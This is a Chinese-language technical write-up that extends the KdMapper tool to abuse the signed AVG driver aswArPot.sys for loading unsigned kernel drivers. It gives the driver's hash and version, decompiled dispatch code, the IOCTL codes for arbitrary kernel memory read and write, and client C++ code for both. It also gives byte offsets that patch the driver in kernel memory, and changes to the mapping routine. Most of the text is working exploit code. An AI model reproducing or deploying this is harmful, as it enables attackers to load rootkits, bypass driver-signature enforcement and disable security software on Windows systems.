KdMapper扩展实现之AVG(aswArPot.sys)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | aswArPot.sys |
时间戳 | 5FC5F955 |
MD5 | A22626FEBC924EB219A953F1EE2B9600 |
文件版本 | 20.10.171.0 |
设备名称 | \\.\avgSP_Avar |
读取内存 | 0x9989C028 |
写入内存 | 0x9989C034 |
Windows 7 | 支持 |
Windows 10 | 22H2(包含) 及以下 |
Windows 11 | 22621(包含)及以下 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
_security_init_cookie();
return InitializeDriver(DriverObject, RegistryPath);
}
__int64 __fastcall InitializeDriver(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
__int64 retaddr; // [rsp+0h] [rbp+0h]
qword_14004D9A8 = retaddr;
return InitializeDriverImpletementation(DriverObject, RegistryPath);
}
__int64 __fastcall InitializeDriverImpletementation(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
ULONG MajorVersion; // [rsp+28h] [rbp-E0h] BYREF
ULONG MinorVersion[3]; // [rsp+2Ch] [rbp-DCh] BYREF
struct _OSVERSIONINFOW VersionInformation; // [rsp+38h] [rbp-D0h] BYREF
PsGetVersion(&MajorVersion, MinorVersion, &BuildNumber, 0i64);
dword_14002A214 = MinorVersion[0] | (MajorVersion << 8);
if ( (unsigned int)dword_14002A214 < 0x501 )
return 3221225473i64;
strcpy((char *)&dword_14002A308, "201111");
VersionInformation.dwOSVersionInfoSize = 276;
if ( RtlGetVersion(&VersionInformation) >= 0
&& (VersionInformation.dwMajorVersion > 6
|| VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion >= 2) )
{
PoolType = 512;
dword_1400289B8 = 0x40000000;
}
sub_140020AB4(RegistryPath);
sub_140020BA0(RegistryPath);
CreateAvarDevice(DriverObject);
sub_140015AF8();
if ( !(unsigned int)CreateDevice(DriverObject) )
sub_140020FA8();
return 0i64;
}
3.2 创建设备和符号链接
__int64 __fastcall CreateDevice(struct _DRIVER_OBJECT *pDriverObject)
{
const wchar_t *szArPotDeviceName; // rdi
__int64 result; // rax
NTSTATUS ntStatus; // edi
_UNICODE_STRING DestinationString; // [rsp+50h] [rbp-28h] BYREF
_UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-18h] BYREF
DriverObject = pDriverObject;
szArPotDeviceName = L"aswSP_ArPot2";
if ( !g_bAswDevice )
szArPotDeviceName = L"avgSP_ArPot2";
_snwprintf(g_szArPotDeviceNameBuffer, 0x1Eui64, L"\\Device\\%s", szArPotDeviceName);
_snwprintf(g_szArPotSymbolicLinkNameBuffer, 0x1Eui64, L"\\DosDevices\\%s", szArPotDeviceName);
RtlInitUnicodeString(&DestinationString, g_szArPotDeviceNameBuffer);
RtlInitUnicodeString(&SymbolicLinkName, g_szArPotSymbolicLinkNameBuffer);
result = IoCreateDeviceSecure(
pDriverObject,
0,
&DestinationString,
0x7299u,
256,
1,
(PUNICODE_STRING)L"68",
0i64,
&DeviceObject);
if ( (int)result >= 0 )
{
ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if ( ntStatus >= 0 )
{
memset64(pDriverObject->MajorFunction, (unsigned __int64)MainDispatch, 0x1Cui64);
result = 0i64;
}
else
{
IoDeleteDevice(DeviceObject);
result = (unsigned int)ntStatus;
}
}
return result;
}
__int64 __fastcall CreateAvarDevice(PDRIVER_OBJECT pDriverObject)
{
__int64 result; // rax
const wchar_t *szAvarDeviceName; // r9
__int64 v4; // rcx
__int16 v5; // ax
__int64 v6; // rcx
__int16 v7; // ax
__int64 v8; // rcx
__int16 v9; // ax
__int64 v10; // rcx
char v11; // al
ULONG MajorVersion; // [rsp+58h] [rbp-89h] BYREF
ULONG MinorVersion; // [rsp+5Ch] [rbp-85h] BYREF
_UNICODE_STRING DestinationString; // [rsp+60h] [rbp-81h] BYREF
_UNICODE_STRING SymbolicLinkName; // [rsp+70h] [rbp-71h] BYREF
char v16[16]; // [rsp+80h] [rbp-61h] BYREF
int v17[6]; // [rsp+90h] [rbp-51h]
__int16 v18; // [rsp+A8h] [rbp-39h]
int v19[8]; // [rsp+B0h] [rbp-31h]
__int16 v20; // [rsp+D0h] [rbp-11h]
int v21[9]; // [rsp+D8h] [rbp-9h]
__int16 v22; // [rsp+FCh] [rbp+1Bh]
g_AvarDeviceObject = 0i64;
PsGetVersion(&MajorVersion, &MinorVersion, &g_OsBuildNumber, 0i64);
nOsVersion = MinorVersion | (MajorVersion << 8);
if ( (unsigned int)nOsVersion < 0x500 )
return 0xC0000001i64;
szAvarDeviceName = L"aswSP_Avar";
if ( !g_bAswDevice )
szAvarDeviceName = L"avgSP_Avar";
g_szAvarDeviceName = (__int64)szAvarDeviceName;
_snwprintf(g_szAvarDeviceNameBuffer, 0x1Eui64, L"\\Device\\%s");
_snwprintf(g_szAvarSymbolicLinkNameBuffer, 0x1Eui64, L"\\DosDevices\\%s", g_szAvarDeviceName);
RtlInitUnicodeString(&DestinationString, g_szAvarDeviceNameBuffer);
RtlInitUnicodeString(&SymbolicLinkName, g_szAvarSymbolicLinkNameBuffer);
result = IoCreateDeviceSecure(
pDriverObject,
0,
&DestinationString,
0x9988u,
256,
0,
(PUNICODE_STRING)L"68",
0i64,
&g_AvarDevice);
g_ntStatus = result;
if ( (int)result >= 0 )
{
g_ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if ( g_ntStatus >= 0 )
{
g_AvarDeviceObject = g_AvarDevice;
v4 = 0i64;
v19[0] = 'F\0\\';
v19[1] = 7077993;
v19[2] = 7536741;
v19[3] = 7536761;
v19[4] = 6619252;
v19[5] = 6029421;
v19[6] = 7602254;
v19[7] = 7536742;
v20 = 0;
v17[0] = 4456540;
v17[1] = 6881394;
v17[2] = 6619254;
v17[3] = 6029426;
v17[4] = 6881348;
v17[5] = 7012467;
v18 = 0;
v21[0] = 7274569;
v21[1] = 4391014;
v21[2] = 7143535;
v21[3] = 7078000;
v21[4] = 7602277;
v21[5] = 5374053;
v21[6] = 7405669;
v21[7] = 6619253;
v21[8] = 7602291;
v22 = 0;
strcpy(v16, "CLASSPNP.SYS");
do
{
v5 = *(_WORD *)((char *)v19 + v4);
*(_WORD *)(v4 + 0x14004D040i64) = v5;
v4 += 2i64;
}
while ( v5 );
v6 = 0i64;
do
{
v7 = *(_WORD *)((char *)v17 + v6);
*(_WORD *)(v6 + 0x14004D120i64) = v7;
v6 += 2i64;
}
while ( v7 );
v8 = 0i64;
do
{
v9 = *(_WORD *)((char *)v21 + v8);
*(_WORD *)(v8 + 0x14004D3A0i64) = v9;
v8 += 2i64;
}
while ( v9 );
v10 = 0i64;
do
{
v11 = v16[v10];
*(_BYTE *)(v10 + 0x14004D380i64) = v11;
++v10;
}
while ( v11 );
stru_14004D0E0.Count = 1;
qword_1400289D8 = (__int64)&qword_1400289D0;
qword_1400289D0 = &qword_1400289D0;
stru_14004D0E0.Owner = 0i64;
stru_14004D0E0.Contention = 0;
KeInitializeEvent(&stru_14004D0E0.Event, SynchronizationEvent, 0);
sub_140019CB4();
sub_14001C130();
qword_14004CF40 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _DWORD, _DWORD, _DWORD, _QWORD, _DWORD, _DWORD, _QWORD, _DWORD, _QWORD))sub_14001C7F8(L"IoCreateFileSpecifyDeviceObjectHint");
qword_14004CD60 = sub_14001C7F8(L"IofCallDriver");
sub_14001C7F8(L"IofCompleteRequest");
sub_14001A24C();
sub_14001FC24();
result = 0i64;
}
else
{
IoDeleteDevice(g_AvarDevice);
result = (unsigned int)g_ntStatus;
}
}
return result;
}
创建设备有两个,需要分析的是 CreateAvarDevice,其创建的设备名是 aswSP_Avar 或 avgSP_Avar,实际中根据驱动安装逻辑创建的是 avgSP_Avar。
3.3 MainDispatch
NTSTATUS __fastcall MainDispatch(struct _DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
struct _DEVICE_OBJECT* pRequestDeviceObject; // rbx
pRequestDeviceObject = pDeviceObject;
......
if (g_AvarDeviceObject && pDeviceObject == g_AvarDeviceObject)
{
if (pIrp->RequestorMode)
{
if (!pIrp->Tail.Overlay.CurrentStackLocation->MajorFunction)
{
if (CheckAvarDeviceIoControlProcess)
{
v18 = IoGetRequestorProcessId(pIrp);
if (!(unsigned __int8)CheckAvarDeviceIoControlProcess(v18))
{
LABEL_17:
pIrp->IoStatus.Status = 0xC00000BB;
IofCompleteRequest(pIrp, 0);
return 0xC00000BB;
}
}
}
}
result = AvarDeviceMainDispatch((__int64)pRequestDeviceObject, pIrp);
}
else
{
......
}
return result;
}
__int64 __fastcall AvarDeviceMainDispatch(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
_IO_STACK_LOCATION* pIosp; // rcx
IO_STATUS_BLOCK* pIoStatus; // r11
unsigned int ntStatus; // edi
PVOID pInputBuffer; // rdx
PVOID pOutputBuffer; // r9
__int64 nInputBufferLength; // r8
int nIoControlCode; // er10
pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
pIoStatus = &pIrp->IoStatus;
ntStatus = 0;
pIrp->IoStatus.Information = 0i64;
pInputBuffer = pIrp->AssociatedIrp.SystemBuffer;
pIoStatus->Status = 0;
pOutputBuffer = pInputBuffer;
nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
if (pIosp->MajorFunction == 2)
{
sub_140019B60(pIosp, pInputBuffer, nInputBufferLength, pInputBuffer);
sub_140017CF8(&dword_14004D440);
}
else if (pIosp->MajorFunction == 14)
{
if ((nIoControlCode & 3) == 3)
pOutputBuffer = pIrp->UserBuffer;
ntStatus = AvarDeviceIoControl(
pIosp->FileObject,
pInputBuffer,
nInputBufferLength,
pOutputBuffer,
pIosp->Parameters.DeviceIoControl.OutputBufferLength,
nIoControlCode,
pIoStatus,
pDeviceObject);
}
IofCompleteRequest(pIrp, 0);
return ntStatus;
}
__int64 __fastcall AvarDeviceIoControl(PFILE_OBJECT pFileObject, PVOID pInputBuffer, unsigned int nInputBufferLength, PVOID pOutputBuffer, unsigned int nOutputBufferLength, int nIoControlCode, IO_STATUS_BLOCK* pIoStatus, PDEVICE_OBJECT pDeviceObject)
{
......
NTSTATUS ntStatusV44; // eax
if (nIoControlCode != 0x9988C044)
{
......
switch (nIoControlCode)
{
......
default:
ntStatusV44 = AvarDefaultDeviceIoControl(
pFileObject,
(ASWARPOT_COPY_MEMORY_INFO*)pInputBuffer,
nInputBufferLength,
pOutputBuffer,
nOutputBufferLength,
nIoControlCode,
pIoStatus);
goto LABEL_215;
}
ntStatusV44 = 0xC0000206;
goto LABEL_215;
}
return result;
}
__int64 __fastcall AvarDefaultDeviceIoControl(PFILE_OBJECT pFileObject, ASWARPOT_COPY_MEMORY_INFO* pInputBuffer, unsigned int nInputBufferLength, PVOID pOutputBuffer, ULONG nOutputBufferLength, int nIoControlCode, IO_STATUS_BLOCK* pIoStatus)
{
size_t nInputBufferLengthV8; // r13
_OWORD* nOutputBufferV9; // r15
PVOID P[4]; // [rsp+50h] [rbp-378h] BYREF
P[2] = pInputBuffer;
nInputBufferLengthV8 = nInputBufferLength;
nOutputBufferV9 = pOutputBuffer;
P[3] = pOutputBuffer;
P[1] = pIoStatus;
LODWORD(P[0]) = 0;
if (nIoControlCode != 0x9989C020)
{
switch (nIoControlCode)
{
......
case 0x9989C028:
if (nInputBufferLength < 8 || !pInputBuffer)// 读取内存
{
result = 0xC0000206i64;
pIoStatus->Status = 0xC0000206;
return result;
}
if (nOutputBufferLength < 4 || !pOutputBuffer)
{
result = 0xC0000206i64;
pIoStatus->Status = 0xC0000206;
return result;
}
P[0] = pInputBuffer->ReadSourceAddress;
if (MmIsAddressValid(P[0]) && MmIsAddressValid((char*)P[0] + nOutputBufferLength))
{
CopyMemoryWithSourceMdl(nOutputBufferV9, P[0], nOutputBufferLength);
pIoStatus->Information = nOutputBufferLength;
pIoStatus->Status = 0;
return 0i64;
}
pIoStatus->Status = 0xC000000D;
break;
case 0x9989C034:
if (nInputBufferLength >= 0x18 && pInputBuffer)// 写入内存
{
if (MmIsAddressValid(pInputBuffer->DestinationAddress)
&& MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size))// 这里应该是 + pInputBuffer->Size -1
{
CopyMemoryWithDestinaionMdl(pInputBuffer->DestinationAddress, pInputBuffer->Buffer, pInputBuffer->Size);
pIoStatus->Status = 0;
pIoStatus->Information = 0i64;
result = 0i64;
}
else
{
result = 0xC000000Di64;
pIoStatus->Status = 0xC000000D;
pIoStatus->Information = 0i64;
}
}
else
{
result = 0xC0000206i64;
pIoStatus->Status = 0xC0000206;
}
return result;
case 0x9989C02C:
......
}
return sub_1400182E8(
(__int64)pFileObject,
(unsigned int*)pInputBuffer,
nInputBufferLengthV8,
nOutputBufferV9,
nOutputBufferLength,
nIoControlCode,
pIoStatus);
}
return result;
}
其中 0x9989C028 是读取内存,0x9989C034为写入内存。
代码第 132 行内容为 if (nOutputBufferLength < 4 || !pOutputBuffer),此处限制每次读取的大小为一个 ULONG,如果读取的字节数小于 4 个字节需要转换一下,参见《4.1 读取内存限制》。
代码第 152 行为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size),这里应该为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size-1),前者的逻辑使用期间会超出指定的地址范围,如果范围之外的内存页是无效的话就会导致验证失败。相关修改参见《4.2 写入内存地址范围验证》。
3.4 CopyMemoryWithSourceMdl
__int64 __fastcall CopyMemoryWithSourceMdl(PVOID DestinationAddress, void* SourceAddress, ULONG nSize)
{
char bLockedPages; // si
PMDL pMDL; // rax
_MDL* pMdl2; // rdi
PVOID pMappedAddress; // r14
unsigned int ntSatus; // ebx
KIRQL oldSpinLock; // bl
KSPIN_LOCK SpinLock[6]; // [rsp+38h] [rbp-30h] BYREF
bLockedPages = 0;
pMDL = IoAllocateMdl(SourceAddress, nSize, 0, 0, 0i64);
pMdl2 = pMDL;
SpinLock[1] = (KSPIN_LOCK)pMDL;
if (!pMDL)
return 0xC000009Ai64;
if ((pMDL->MdlFlags & 7) == 0)
{
MmProbeAndLockPages(pMDL, 0, IoModifyAccess);
bLockedPages = 1;
}
pMappedAddress = MmMapLockedPagesSpecifyCache(pMdl2, 0, MmCached, 0i64, 0, dword_1400289B8 | 0x10u);
if (pMappedAddress)
{
SpinLock[0] = 0i64;
oldSpinLock = KeAcquireSpinLockRaiseToDpc(SpinLock);
memmove(DestinationAddress, pMappedAddress, nSize);
KeReleaseSpinLock(SpinLock, oldSpinLock);
ntSatus = 0;
MmUnmapLockedPages(pMappedAddress, pMdl2);
}
else
{
ntSatus = 0xC000009A;
}
if (bLockedPages)
MmUnlockPages(pMdl2);
IoFreeMdl(pMdl2);
return ntSatus;
}
其中第 19 行为 MmProbeAndLockPages(pMDL, 0, IoModifyAccess), 第三个参数应应该为 IoReadAceess,否则在映射不可写内存时会导致失败。相关修改参见《4.3 锁定页面参数修改》。
3.5 CopyMemoryWithDestinaionMdl
__int64 __fastcall CopyMemoryWithDestinaionMdl(void* DestinationAddress, PVOID SourceAddress, ULONG nSize)
{
char bLockedPages; // si
PMDL pMdl; // rax
_MDL* pMdlMapped; // rdi
PVOID pMappedAddress; // r14
unsigned int ntStatus; // ebx
KIRQL oldSpinLock; // bl
KSPIN_LOCK SpinLock[6]; // [rsp+38h] [rbp-30h] BYREF
bLockedPages = 0;
pMdl = IoAllocateMdl(DestinationAddress, nSize, 0, 0, 0i64);
pMdlMapped = pMdl;
SpinLock[1] = (KSPIN_LOCK)pMdl;
if (!pMdl)
return 0xC000009Ai64;
if ((pMdl->MdlFlags & 7) == 0)
{
MmProbeAndLockPages(pMdl, 0, IoModifyAccess);
bLockedPages = 1;
}
pMappedAddress = MmMapLockedPagesSpecifyCache(pMdlMapped, 0, MmCached, 0i64, 0, dword_1400289B8 | 0x10u);
if (pMappedAddress)
{
SpinLock[0] = 0i64;
oldSpinLock = KeAcquireSpinLockRaiseToDpc(SpinLock);
memmove(pMappedAddress, SourceAddress, nSize);
KeReleaseSpinLock(SpinLock, oldSpinLock);
ntStatus = 0;
MmUnmapLockedPages(pMappedAddress, pMdlMapped);
}
else
{
ntStatus = 0xC000009A;
}
if (bLockedPages)
MmUnlockPages(pMdlMapped);
IoFreeMdl(pMdlMapped);
return ntStatus;
}
其中第 19 行为 MmProbeAndLockPages(pMDL, 0, IoModifyAccess), 第三个参数应应该为 IoReadAceess,否则在映射不可写内存时会导致失败。相关修改参见《4.3 锁定页面参数修改》。
3.6 _ASWARPOT_COPY_MEMORY_INFO结构体
00000000 _ASWARPOT_COPY_MEMORY_INFO struc ; (sizeof=0x18, align=0x8, copyof_400)
00000000 ReadSourceAddress dq ? ; offset
00000008 DestinationAddress dq ? ; offset
00000010 Size dd ?
00000014 Buffer db 4 dup(?)
00000018 _ASWARPOT_COPY_MEMORY_INFO ends
4.相关逻辑分析及修改
4.1 读取内存限制
在《3.3 MainDispatch》代码第 132 行内容为 if (nOutputBufferLength < 4 || !pOutputBuffer),此处限制每次读取的大小为一个 ULONG,如果读取的字节数小于 4 个字节需要转换一下,
实现代码如下:
#define ASWARPOT_DEVICE_TYPE (DWORD)0x9989
#define ASWARPOT_READ_MEMORY_FUNCID (DWORD)0x300A
#define IOCTL_ASWARPOT_READ_MEMORY \
CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C028
typedef struct _ASWARPOT_COPY_MEMORY_INFO
{
PVOID ReadSourceAddress;
PVOID DestinationAddress;
ULONG Size;
BYTE Buffer[4];
}ASWARPOT_COPY_MEMORY_INFO, *PASWARPOT_COPY_MEMORY_INFO;
bool avg_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {
ASWARPOT_COPY_MEMORY_INFO info = { 0 };
bool bResult = false;
info.ReadSourceAddress = (PVOID)address;
ULONG ulData = 0;
if (size < 4)
{
bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), &ulData, 4);
if (!bResult)
{
Log(L"[-] ReadMemory 1 failed\r\n");
}
else
{
RtlCopyMemory(buffer, &ulData, size);
}
}
else
{
bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), buffer, size);
if (!bResult)
{
Log(L"[-] ReadMemory 2 failed\r\n");
}
}
return bResult;
}
4.2 写入内存地址范围验证
在《3.3 MainDispatch》代码第 152 行为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size),这里应该为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size-1),前者的逻辑使用期间会超出指定的地址范围,如果范围之外的内存页是无效的话就会导致验证失败。
实际使用过程中要我们分配目标驱动内存并写入数据时会导致验证失败,这时我们可以将分配的内存扩大,实际复制数据时使用原始大小,修改后的相关代码如下:
uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, bool mdlMode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode)
{
......
void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!local_image_base)
return 0;
DWORD TotalVirtualHeaderSize = (IMAGE_FIRST_SECTION(nt_headers))->VirtualAddress;
image_size = image_size - (destroyHeader ? TotalVirtualHeaderSize : 0);
uint64_t kernel_image_base = 0;
uint64_t mdlptr = 0;
//因为校验时的边界设置错误,故分配时的大小加一个页面,使用时按原大小
if (mdlMode) {
kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size + 0x1000, &mdlptr);
}
else {
kernel_image_base = avg_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size+0x1000);
}
......
}
4.3 锁定页面参数修改
在《3.4 CopyMemoryWithSourceMdl》和《3.5 CopyMemoryWithDestinaionMdl》 中 MmProbeAndLockPages 第三个参数为 IoModifyAccess,即 2,这样会导致映射不可写内存页面时失败,应该改为IoReadAccess,也即为 0。其实在之后调用 MmMapLockedPagesSpecifyCache 后,内存已经变为可读可写了,之前的 MmProbeAndLockPages 第三个参数为 IoReadAccess就可以了。
4.3.1 CopyMemoryWithSourceMdl 修改
IDA 定位如下:
.text:000000014001DD97 loc_14001DD97: ; DATA XREF: .rdata:0000000140027550↓o
.text:000000014001DD97 33 D2 xor edx, edx ; AccessMode
.text:000000014001DD99 44 8D 42 02 lea r8d, [rdx+2]
.text:000000014001DD9D 48 8B CF mov rcx, rdi ; MemoryDescriptorList
.text:000000014001DDA0 FF 15 BA 62 00 00 call cs:MmProbeAndLockPages
可以修改 lea r8d, [rdx+2] 为 lea r8d, [rdx] 即可,即使将 000000014001DD99 处的机器码修改为 44 80 42 00,也即将 000000014001DD9C 对应的字节改为 0。
000000014001DD9C 处对应的的虚拟地址偏移量可用 StudyPE 查询,如下:
即驱动基址加 0x1DD9C 处字节修改为0。
4.3.2 CopyMemoryWithDestinaionMdl 修改
IDA 定位如下:
.text:000000014001DEB3 loc_14001DEB3: ; DATA XREF: .rdata:000000014002757C↓o
.text:000000014001DEB3 33 D2 xor edx, edx ; AccessMode
.text:000000014001DEB5 44 8D 42 02 lea r8d, [rdx+2] ; Operation
.text:000000014001DEB9 48 8B CF mov rcx, rdi ; MemoryDescriptorList
.text:000000014001DEBC FF 15 9E 61 00 00 call cs:MmProbeAndLockPages
可以修改 lea r8d, [rdx+2] 为 lea r8d, [rdx] 即可,即使将 000000014001DEB5 处的机器码修改为 44 80 42 00,也即将 000000014001DEB8 对应的字节改为 0。
000000014001DEB8 处对应的的虚拟地址偏移量可用 StudyPE 查询,如下:
即驱动基址加 0x1DEB8 处字节修改为0。
4.3.3 相关代码
#define READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET (0x1dd9c)
#define WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET (0x1deb8)
bool avg_driver::PatchDriver(HANDLE device_handle)
{
BYTE byData = 0;
uint64_t driverBase = utils::GetKernelModuleAddress(driver_name);
if (driverBase == 0) {
Log(L"[-] Failed to get driver:" << driver_name << std::endl);
avg_driver::Unload(device_handle);
return false;
}
//将对应读写内存 MmProbeAndLockPages(pMdl, 0, IoModifyAccess); 第三个参数改为 IoReadAccess
uint64_t patchReadAddress = driverBase + READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
if (!WriteMemory(device_handle, patchReadAddress, &byData, 1))
{
Log(L"[-] Failed to Write Memory In Patch Driver 1" << std::endl);
avg_driver::Unload(device_handle);
return false;
}
uint64_t patchWriteAddress = driverBase + WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
if (!WriteMemory(device_handle, patchWriteAddress, &byData, 1))
{
Log(L"[-] Failed to Write Memory In Patch Driver 2" << std::endl);
avg_driver::Unload(device_handle);
return false;
}
Log(L"[+] PatchDriver OK!\r\n");
return true;
}
5.完整关键代码
头文件
#define ASWARPOT_DEVICE_TYPE (DWORD)0x9989
#define ASWARPOT_READ_MEMORY_FUNCID (DWORD)0x300A
#define ASWARPOT_WRITE_MEMORY_FUNCID (DWORD)0x300D
#define IOCTL_ASWARPOT_READ_MEMORY \
CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C028
#define IOCTL_ASWARPOT_WRITE_MEMORY \
CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_WRITE_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C034
#define READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET (0x1dd9c)
#define WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET (0x1deb8)
typedef struct _ASWARPOT_COPY_MEMORY_INFO
{
PVOID ReadSourceAddress;
PVOID DestinationAddress;
ULONG Size;
BYTE Buffer[4];
}ASWARPOT_COPY_MEMORY_INFO, *PASWARPOT_COPY_MEMORY_INFO;
CPP文件
NTSTATUS avg_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
if (!NT_SUCCESS(ntStatus))
{
Log(L"[-] SuperCallDriverEx failed, code:0x" << std::setbase(16) << std::setw(8) << std::setfill(L'0') << ntStatus << std::endl);
}
return ntStatus;
}
BOOL avg_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
bool avg_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {
ASWARPOT_COPY_MEMORY_INFO info = { 0 };
bool bResult = false;
info.ReadSourceAddress = (PVOID)address;
ULONG ulData = 0;
if (size < 4)
{
bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), &ulData, 4);
if (!bResult)
{
Log(L"[-] ReadMemory 1 failed\r\n");
}
else
{
RtlCopyMemory(buffer, &ulData, size);
}
}
else
{
bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), buffer, size);
if (!bResult)
{
Log(L"[-] ReadMemory 2 failed\r\n");
}
}
return bResult;
}
bool avg_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {
ULONG ulSize = sizeof(ASWARPOT_COPY_MEMORY_INFO) + size;
PASWARPOT_COPY_MEMORY_INFO pInfo = (PASWARPOT_COPY_MEMORY_INFO)malloc(ulSize);
if (!pInfo)
{
Log(L"[-]WriteMemory malloc failed\r\n");
return false;
}
RtlZeroMemory(pInfo, ulSize);
pInfo->DestinationAddress = (PVOID)address;
pInfo->Size = size;
RtlCopyMemory(&pInfo->Buffer, buffer, size);
bool bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_WRITE_MEMORY, pInfo, ulSize, NULL, NULL);
free(pInfo);
if (!bResult)
{
Log(L"[-] WriteMemory failed\r\n");
}
return bResult;
}
bool avg_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) {
if (!address || !buffer || !size)
return false;
bool result = WriteMemory(device_handle, address, buffer, size);
return result;
}
bool avg_driver::PatchDriver(HANDLE device_handle)
{
BYTE byData = 0;
uint64_t driverBase = utils::GetKernelModuleAddress(driver_name);
if (driverBase == 0) {
Log(L"[-] Failed to get driver:" << driver_name << std::endl);
avg_driver::Unload(device_handle);
return false;
}
//将对应读写内存 MmProbeAndLockPages(pMdl, 0, IoModifyAccess); 第三个参数改为 IoReadAccess
uint64_t patchReadAddress = driverBase + READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
if (!WriteMemory(device_handle, patchReadAddress, &byData, 1))
{
Log(L"[-] Failed to Write Memory In Patch Driver 1" << std::endl);
avg_driver::Unload(device_handle);
return false;
}
uint64_t patchWriteAddress = driverBase + WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
if (!WriteMemory(device_handle, patchWriteAddress, &byData, 1))
{
Log(L"[-] Failed to Write Memory In Patch Driver 2" << std::endl);
avg_driver::Unload(device_handle);
return false;
}
Log(L"[+] PatchDriver OK!\r\n");
return true;
}
HANDLE avg_driver::Load()
{
......
ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
if (ntoskrnlAddr == 0) {
Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
avg_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
if (!PatchDriver(result)) //不使用PatchDriver Win11上导致读取失败
{
Log(L"[-] Failed to Patch Driver" << std::endl);
avg_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
......
}
6.运行效果
- Win 10 x64 22H2
- Win 11 x64 22621
7. 特别提示
经过测试发现漏洞驱动加载后就不能卸载了,如果要实现多次加载需要修改相关逻辑,具体就不详述了。